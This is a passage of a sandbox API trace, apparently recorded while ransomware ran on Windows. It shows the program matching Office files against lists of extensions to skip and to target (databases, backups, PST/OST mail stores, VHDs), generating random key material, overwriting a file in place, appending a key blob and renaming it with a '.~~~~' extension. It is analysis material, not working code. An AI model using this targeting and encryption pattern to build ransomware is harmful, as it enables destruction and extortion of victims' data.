	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".msc") returned 0x0
	[0146.781] lstrlenW (lpString=".com") returned 4
	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".com") returned 0x0
	[0146.781] lstrlenW (lpString=".lnk") returned 4
	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".lnk") returned 0x0
	[0146.781] lstrlenW (lpString=".msp") returned 4
	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".msp") returned 0x0
	[0146.781] lstrlenW (lpString=".pif") returned 4
	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".pif") returned 0x0
	[0146.782] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0146.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.784] lstrlenW (lpString=".sqb") returned 4
	[0146.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".sqb") returned 0x0
	[0146.784] lstrlenW (lpString=".ost") returned 4
	[0146.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".ost") returned 0x0
	[0146.784] lstrlenW (lpString=".txt") returned 4
	[0146.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".txt") returned 0x0
	[0146.784] lstrlenW (lpString=".mdt") returned 4
	[0146.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".mdt") returned 0x0
	[0146.784] lstrlenW (lpString=".BDB") returned 4
	[0146.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".BDB") returned 0x0
	[0146.784] lstrlenW (lpString=".eql") returned 4
	[0146.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".eql") returned 0x0
	[0146.784] lstrlenW (lpString=".DBF") returned 4
	[0146.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".DBF") returned 0x0
	[0146.784] lstrlenW (lpString=".EQL") returned 4
	[0146.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".EQL") returned 0x0
	[0146.784] lstrlenW (lpString=".FDB") returned 4
	[0146.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".FDB") returned 0x0
	[0146.784] lstrlenW (lpString=".EDB") returned 4
	[0146.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".EDB") returned 0x0
	[0146.784] lstrlenW (lpString=".DACPAC") returned 7
	[0146.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".DACPAC") returned 0x0
	[0146.785] lstrlenW (lpString=".VHD") returned 4
	[0146.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".VHD") returned 0x0
	[0146.785] lstrlenW (lpString=".DBV") returned 4
	[0146.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".DBV") returned 0x0
	[0146.785] lstrlenW (lpString=".dacpac") returned 7
	[0146.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".dacpac") returned 0x0
	[0146.785] lstrlenW (lpString=".sdf") returned 4
	[0146.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".sdf") returned 0x0
	[0146.785] lstrlenW (lpString=".accdb") returned 6
	[0146.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".accdb") returned 0x0
	[0146.785] lstrlenW (lpString=".DBX") returned 4
	[0146.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".DBX") returned 0x0
	[0146.785] lstrlenW (lpString=".MDT") returned 4
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".MDT") returned 0x0
	[0146.786] lstrlenW (lpString=".SQB") returned 4
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".SQB") returned 0x0
	[0146.786] lstrlenW (lpString=".vhd") returned 4
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".vhd") returned 0x0
	[0146.786] lstrlenW (lpString=".bac") returned 4
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".bac") returned 0x0
	[0146.786] lstrlenW (lpString=".mdf") returned 4
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".mdf") returned 0x0
	[0146.786] lstrlenW (lpString=".BAK") returned 4
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".BAK") returned 0x0
	[0146.786] lstrlenW (lpString=".BAC") returned 4
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".BAC") returned 0x0
	[0146.786] lstrlenW (lpString=".dbs") returned 4
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".dbs") returned 0x0
	[0146.786] lstrlenW (lpString=".vhdx") returned 5
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".vhdx") returned 0x0
	[0146.786] lstrlenW (lpString=".NDF") returned 4
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".NDF") returned 0x0
	[0146.786] lstrlenW (lpString=".dat") returned 4
	[0146.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".dat") returned 0x0
	[0146.786] lstrlenW (lpString=".DBS") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".DBS") returned 0x0
	[0146.787] lstrlenW (lpString=".CKP") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".CKP") returned 0x0
	[0146.787] lstrlenW (lpString=".edb") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".edb") returned 0x0
	[0146.787] lstrlenW (lpString=".PST") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".PST") returned 0x0
	[0146.787] lstrlenW (lpString=".dbf") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".dbf") returned 0x0
	[0146.787] lstrlenW (lpString=".SQL") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".SQL") returned 0x0
	[0146.787] lstrlenW (lpString=".pst") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".pst") returned 0x0
	[0146.787] lstrlenW (lpString=".dbv") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".dbv") returned 0x0
	[0146.787] lstrlenW (lpString=".SDF") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".SDF") returned 0x0
	[0146.787] lstrlenW (lpString=".dtxs") returned 5
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".dtxs") returned 0x0
	[0146.787] lstrlenW (lpString=".db3") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".db3") returned 0x0
	[0146.787] lstrlenW (lpString=".OST") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".OST") returned 0x0
	[0146.787] lstrlenW (lpString=".dbx") returned 4
	[0146.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".dbx") returned 0x0
	[0146.787] lstrlenW (lpString=".DB3") returned 4
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".DB3") returned 0x0
	[0146.788] lstrlenW (lpString=".DAT") returned 4
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".DAT") returned 0x0
	[0146.788] lstrlenW (lpString=".VHDX") returned 5
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".VHDX") returned 0x0
	[0146.788] lstrlenW (lpString=".ndf") returned 4
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".ndf") returned 0x0
	[0146.788] lstrlenW (lpString=".DB") returned 3
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".DB") returned 0x0
	[0146.788] lstrlenW (lpString=".sql") returned 4
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".sql") returned 0x0
	[0146.788] lstrlenW (lpString=".MYD") returned 4
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".MYD") returned 0x0
	[0146.788] lstrlenW (lpString=".DBT") returned 4
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".DBT") returned 0x0
	[0146.788] lstrlenW (lpString=".ACCDB") returned 6
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".ACCDB") returned 0x0
	[0146.788] lstrlenW (lpString=".fdb") returned 4
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".fdb") returned 0x0
	[0146.788] lstrlenW (lpString=".bak") returned 4
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".bak") returned 0x0
	[0146.788] lstrlenW (lpString=".myd") returned 4
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".myd") returned 0x0
	[0146.788] lstrlenW (lpString=".DTXS") returned 5
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".DTXS") returned 0x0
	[0146.788] lstrlenW (lpString=".ckp") returned 4
	[0146.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".ckp") returned 0x0
	[0146.789] lstrlenW (lpString=".dbt") returned 4
	[0146.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".dbt") returned 0x0
	[0146.789] lstrlenW (lpString=".db") returned 3
	[0146.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".db") returned 0x0
	[0146.789] lstrlenW (lpString=".TXT") returned 4
	[0146.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".TXT") returned 0x0
	[0146.789] lstrlenW (lpString=".MDF") returned 4
	[0146.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".MDF") returned 0x0
	[0146.789] lstrlenW (lpString=".bdb") returned 4
	[0146.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".bdb") returned 0x0
	[0146.789] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0146.790] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a01e0) returned 1
	[0146.791] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0146.791] CryptReleaseContext (hProv=0x3a01e0, dwFlags=0x0) returned 1
	[0146.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0146.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0146.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0146.791] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26678117228) returned 1
	[0146.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0e725b0, dwHighDateTime=0x1d60e1e)) 
	[0146.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27facf0
	[0146.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27facf0 | out: hHeap=0x300000) returned 1
	[0146.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7aa8
	[0146.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.792] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.792] GetLastError () returned 0x0
	[0146.792] GetLastError () returned 0x0
	[0146.793] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.793] GetLastError () returned 0x0
	[0146.793] GetLastError () returned 0x0
	[0146.793] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.797] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.798] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.799] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.799] WriteFile (in: hFile=0x104, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.818] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.818] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.819] CloseHandle (hObject=0x104) returned 1
	[0146.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7c70
	[0146.819] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe.~~~~")) returned 1
	[0146.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c7c70 | out: hHeap=0x300000) returned 1
	[0146.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.822] GetLastError () returned 0x0
	[0146.822] RtlWakeConditionVariable () returned 0x365f70
	[0146.822] GetCurrentThreadId () returned 0xaf0
	[0146.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".scr") returned 0x0
	[0146.822] lstrlenW (lpString=".cmd") returned 4
	[0146.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".cmd") returned 0x0
	[0146.822] lstrlenW (lpString=".dll") returned 4
	[0146.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".dll") returned 0x0
	[0146.822] lstrlenW (lpString=".bat") returned 4
	[0146.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".bat") returned 0x0
	[0146.822] lstrlenW (lpString=".cpl") returned 4
	[0146.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".cpl") returned 0x0
	[0146.823] lstrlenW (lpString=".sys") returned 4
	[0146.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".sys") returned 0x0
	[0146.823] lstrlenW (lpString=".msc") returned 4
	[0146.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".msc") returned 0x0
	[0146.823] lstrlenW (lpString=".com") returned 4
	[0146.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".com") returned 0x0
	[0146.823] lstrlenW (lpString=".lnk") returned 4
	[0146.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".lnk") returned 0x0
	[0146.823] lstrlenW (lpString=".msp") returned 4
	[0146.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".msp") returned 0x0
	[0146.823] lstrlenW (lpString=".pif") returned 4
	[0146.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".pif") returned 0x0
	[0146.823] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch="msp\r\n.pif") returned 0x0
	[0146.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0146.929] lstrlenW (lpString=".sqb") returned 4
	[0146.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".sqb") returned 0x0
	[0146.929] lstrlenW (lpString=".ost") returned 4
	[0146.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".ost") returned 0x0
	[0146.929] lstrlenW (lpString=".txt") returned 4
	[0146.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".txt") returned 0x0
	[0146.929] lstrlenW (lpString=".mdt") returned 4
	[0146.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".mdt") returned 0x0
	[0146.929] lstrlenW (lpString=".BDB") returned 4
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".BDB") returned 0x0
	[0146.930] lstrlenW (lpString=".eql") returned 4
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".eql") returned 0x0
	[0146.930] lstrlenW (lpString=".DBF") returned 4
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".DBF") returned 0x0
	[0146.930] lstrlenW (lpString=".EQL") returned 4
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".EQL") returned 0x0
	[0146.930] lstrlenW (lpString=".FDB") returned 4
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".FDB") returned 0x0
	[0146.930] lstrlenW (lpString=".EDB") returned 4
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".EDB") returned 0x0
	[0146.930] lstrlenW (lpString=".DACPAC") returned 7
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".DACPAC") returned 0x0
	[0146.930] lstrlenW (lpString=".VHD") returned 4
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".VHD") returned 0x0
	[0146.930] lstrlenW (lpString=".DBV") returned 4
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".DBV") returned 0x0
	[0146.930] lstrlenW (lpString=".dacpac") returned 7
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".dacpac") returned 0x0
	[0146.930] lstrlenW (lpString=".sdf") returned 4
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".sdf") returned 0x0
	[0146.930] lstrlenW (lpString=".accdb") returned 6
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".accdb") returned 0x0
	[0146.930] lstrlenW (lpString=".DBX") returned 4
	[0146.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".DBX") returned 0x0
	[0146.930] lstrlenW (lpString=".MDT") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".MDT") returned 0x0
	[0146.931] lstrlenW (lpString=".SQB") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".SQB") returned 0x0
	[0146.931] lstrlenW (lpString=".vhd") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".vhd") returned 0x0
	[0146.931] lstrlenW (lpString=".bac") returned 4
	[0146.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU", lpSrch=".bac") returned 0x0
	[0146.931] lstrlenW (lpString=".mdf") returned 4
